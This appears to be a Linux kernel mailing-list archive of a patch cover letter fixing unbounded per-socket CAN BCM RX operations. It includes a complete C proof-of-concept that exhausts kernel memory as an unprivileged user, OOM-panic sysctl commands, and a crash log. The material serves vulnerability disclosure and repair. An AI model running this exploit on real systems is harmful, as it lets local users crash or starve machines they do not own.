Linux CAN drivers development
 help / color / mirror / Atom feed
* [PATCH net 0/1] can: bcm: bound per-socket RX operation resources
@ 2026-10-27 11:18 Zihan Xi
  2026-10-27 11:18 ` [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket Zihan Xi
  2026-10-28 13:43 ` [PATCH net v2 0/1] can: bcm: bound per-socket RX operation resources Zihan Xi
  0 siblings, 2 replies; 13+ messages in thread
From: Zihan Xi @ 2026-10-27 11:18 UTC (permalink / raw)
  To: linux-can; +Cc: socketcan, mkl, davem, urs.thuermann, vega, zihanx

Hi Linux kernel maintainers,

We found an issue in net/can/bcm.c.
The bug is reachable by an unprivileged local user.
The relevant details are provided below.

---- details below ----

An LLM was used to help create this patch.

This bug is tracked at: https://bugtracker.nebusec.ai/f/11134 (11134)

Bug details:

bcm_rx_setup() limits frames in one operation but not the number of
operations attached to a socket. Distinct CAN IDs create distinct
operations; with ifindex 0, a local unprivileged process needs no CAN
device. CAN-FD operations allocate frame arrays and CAN receiver
objects outside socket buffer accounting, allowing repeated requests
to consume kernel memory.

Limit each socket to 1024 RX operations/receivers and 16 MiB of BCM
operation and frame-array allocations. Keep operation charges until
the operation is freed, and receiver charges until CAN-core RCU
reclamation frees each receiver. Reject requests over the limits with
-ENOBUFS.

Reproducer:

Build the included PoC source with:

    cc -O2 -Wall -Wextra -o poc poc.c

In the guest's initial user and network namespaces, as root, configure
OOM panic to capture the crash:

    echo 0 > /proc/sys/kernel/panic_on_warn
    echo 2 > /proc/sys/vm/panic_on_oom
    echo 0 > /proc/sys/vm/oom_kill_allocating_task

Then, as the unprivileged guest user test_user (UID 1001), run:

    ./poc 0 1000

No namespace setup, added capabilities, or CAN device is required; the
socket uses ifindex 0. Root is used only to set the OOM sysctls.

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN PoC------

#define _GNU_SOURCE

#include <errno.h>
#include <inttypes.h>
#include <linux/can.h>
#include <linux/can/bcm.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define BCM_NFRAMES 257U
#define DEFAULT_PROGRESS_STEP 1000U

struct rx_setup_req {
	struct bcm_msg_head head;
	struct canfd_frame frames[BCM_NFRAMES];
};

static void die(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static unsigned long parse_ul(const char *arg, const char *name)
{
	char *end = NULL;
	unsigned long value;

	errno = 0;
	value = strtoul(arg, &end, 0);
	if (errno || !end || *end != '\0') {
		fprintf(stderr, "invalid %s: %s\n", name, arg);
		exit(EXIT_FAILURE);
	}

	return value;
}

int main(int argc, char **argv)
{
	unsigned long max_ops = 0;
	unsigned long progress_step = DEFAULT_PROGRESS_STEP;
	unsigned long hold_seconds = 0;
	struct sockaddr_can addr = {
		.can_family = AF_CAN,
		.can_ifindex = 0,
	};
	struct rx_setup_req *req;
	size_t req_len;
	unsigned long i;
	int fd;

	if (argc > 1)
		max_ops = parse_ul(argv[1], "max_ops");
	if (argc > 2)
		progress_step = parse_ul(argv[2], "progress_step");
	if (argc > 3)
		hold_seconds = parse_ul(argv[3], "hold_seconds");
	if (!progress_step)
		progress_step = DEFAULT_PROGRESS_STEP;

	req = aligned_alloc(8, sizeof(*req));
	if (!req)
		die("aligned_alloc");

	memset(req, 0, sizeof(*req));
	req->head.opcode = RX_SETUP;
	req->head.flags = CAN_FD_FRAME;
	req->head.nframes = BCM_NFRAMES;

	for (i = 0; i < BCM_NFRAMES; i++) {
		req->frames[i].len = CANFD_MAX_DLEN;
		memset(req->frames[i].data, (int)i, sizeof(req->frames[i].data));
	}

	req_len = sizeof(*req);

	fd = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);
	if (fd < 0)
		die("socket(PF_CAN, SOCK_DGRAM, CAN_BCM)");

	if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("connect(AF_CAN, ifindex=0)");

	for (i = 0; !max_ops || i < max_ops; i++) {
		ssize_t written;
		uint32_t id = (uint32_t)((i + 1) & CAN_EFF_MASK);

		req->head.can_id = CAN_EFF_FLAG | id;

		written = send(fd, req, req_len, 0);
		if (written < 0) {
			fprintf(stderr,
				"send failed after %lu RX_SETUP operations: %s\n",
				i, strerror(errno));
			return EXIT_FAILURE;
		}

		if ((i + 1) % progress_step == 0) {
			fprintf(stderr,
				"installed=%lu bytes_per_req=%zu total_payload=%" PRIu64 "\n",
				i + 1, req_len, (uint64_t)(i + 1) * req_len);
		}
	}

	fprintf(stderr, "completed %lu RX_SETUP operations without send failure\n",
		i);
	if (hold_seconds) {
		fprintf(stderr, "holding socket open for %lu seconds\n",
			hold_seconds);
		sleep(hold_seconds);
	}
	return EXIT_SUCCESS;
}

------END PoC--------

----BEGIN crash log----

The stack below is decoded with source locations from the DWARF5,
reduced-debug-info build. The guest OOM was triggered during
`bcm_sendmsg()` allocation at `net/can/bcm.c:1431`.

[   95.493290][ T9374] poc invoked oom-killer: gfp_mask=0x40cc0(GFP_KERNEL|__GFP_COMP), order=3, oom_score_adj=0
[   95.493324][ T9374] Call Trace:
[   95.493466][ T9374]  dump_header (mm/oom_kill.c:464)
[   95.493544][ T9374]  out_of_memory (mm/oom_kill.c:1075 mm/oom_kill.c:1143)
[   95.493555][ T9374]  ? __pfx_out_of_memory (mm/oom_kill.c:835)
[   95.493567][ T9374]  __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449)
[   95.493636][ T9374]  ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022)
[   95.493866][ T9374]  __kmalloc_noprof (mm/slub.c:5402 mm/slub.c:5439)
[   95.493899][ T9374]  ? bcm_sendmsg (include/linux/slab.h:995 include/linux/slab.h:1211 net/can/bcm.c:1431 net/can/bcm.c:1739)
[   95.493920][ T9374]  bcm_sendmsg (include/linux/slab.h:995 include/linux/slab.h:1211 net/can/bcm.c:1431 net/can/bcm.c:1739)
[   95.493933][ T9374]  ? __pfx_bcm_sendmsg (net/can/bcm.c:528)
[   95.493971][ T9374]  __sys_sendto (net/socket.c:800 (discriminator 1) net/socket.c:815 (discriminator 1) net/socket.c:2281 (discriminator 1))
[   95.494018][ T9374]  ? __pfx_bcm_sendmsg (net/can/bcm.c:528)
[   95.494027][ T9374]  ? __pfx___sys_sendto (net/socket.c:2235)
[   95.497355][ T9374] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled

-----END crash log-----

Best regards,
Zihan Xi

Zihan Xi (1):
  can: bcm: limit RX operation resource usage per socket

 include/linux/can/core.h |   7 +++
 net/can/af_can.c         |  34 +++++++++-
 net/can/af_can.h         |   1 +
 net/can/bcm.c            | 131 ++++++++++++++++++++++++++++++++-------
 4 files changed, 147 insertions(+), 26 deletions(-)

-- 
2.43.0


^ permalink raw reply	[flat|nested] 13+ messages in thread

end of thread, other threads:[~2026-10-28 16:05 UTC | newest]

Thread overview: 13+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-10-27 11:18 [PATCH net 0/1] can: bcm: bound per-socket RX operation resources Zihan Xi
2026-10-27 11:18 ` [PATCH net 1/1] can: bcm: limit RX operation resource usage per socket Zihan Xi
2026-10-27 11:29   ` sashiko-bot
2026-10-27 13:08     ` zihan xi
2026-10-27 13:11       ` Marc Kleine-Budde
2026-10-27 13:22   ` Oliver Hartkopp
2026-10-28 13:43 ` [PATCH net v2 0/1] can: bcm: bound per-socket RX operation resources Zihan Xi
2026-10-28 13:43   ` [PATCH net v2 1/1] can: bcm: limit RX operation resource usage per socket Zihan Xi
2026-10-28 13:53     ` sashiko-bot
2026-10-28 14:14       ` zihan xi
2026-10-28 15:04     ` Oliver Hartkopp
2026-10-28 15:36       ` zihan xi
2026-10-28 16:04         ` Oliver Hartkopp

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox